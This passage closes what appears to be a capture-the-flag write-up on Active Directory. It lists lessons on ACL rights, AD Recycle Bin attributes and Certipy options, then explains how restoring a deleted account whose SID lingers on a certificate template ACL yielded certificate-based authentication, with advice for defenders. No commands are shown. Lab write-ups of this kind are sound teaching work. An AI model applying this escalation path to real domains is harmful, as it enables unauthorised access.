AddSelf,ReadGMSAPassword,ForceChangePassword,WriteOwner, andGenericAll. - Reading
isDeleted,isRecycled,lastKnownParent, andmsDS-LastKnownRDNin AD Recycle Bin. - Investigating cases where a deleted object’s SID remains in another object’s ACL.
- Reading AD CS template ACLs, the
Certificate-Enrollmentextended right, and ESC15/ESC17. - Distinguishing Certipy’s
req,auth,-application-policies,-pfx, and-on-behalf-ofoptions. - Checking that a certificate contains a UPN/SID before trying to authenticate with it.
Final Thought
Section titled “Final Thought”The key to this box was to understand the BloodHound path as the ACLs and state changes of individual AD objects, rather than as instructions from a tool. In particular, on the system side, I had to avoid mistaking GenericAll over OU=ADCS for permission to edit a GPO and shift from the empty OU to Deleted Objects.
The decisive point in restoring cert_admin was tracing SID references rather than names or group membership. The idea that a deleted object’s SID can remain on a certificate template ACL applies to other AD CS problems too. In the final Certipy step, issuance alone was insufficient: I needed to check the output for a UPN and SID that could be used for authentication.
This path also has implications for defenders. Deleting an account does not necessarily remove its SID from other ACLs. If AD Recycle Bin restores the object, the rights tied to that SID become effective again. If delegated rights over an OU also allow a deleted object to be restored and its password reset, an orphaned SID on a certificate template becomes a route to regaining those rights. AD CS ACLs and ordinary AD ACLs are often audited separately, but both are linked by the same SID.
Deleting an account alone is therefore insufficient. Its SID should also be sought in ACLs on groups, OUs, GPOs, certificate templates, CA rights, and similar objects, and unnecessary ACEs removed. This box was not just an AD CS box: it taught AD object lifecycle and SID-based access control consistently from BloodHound through certificates.

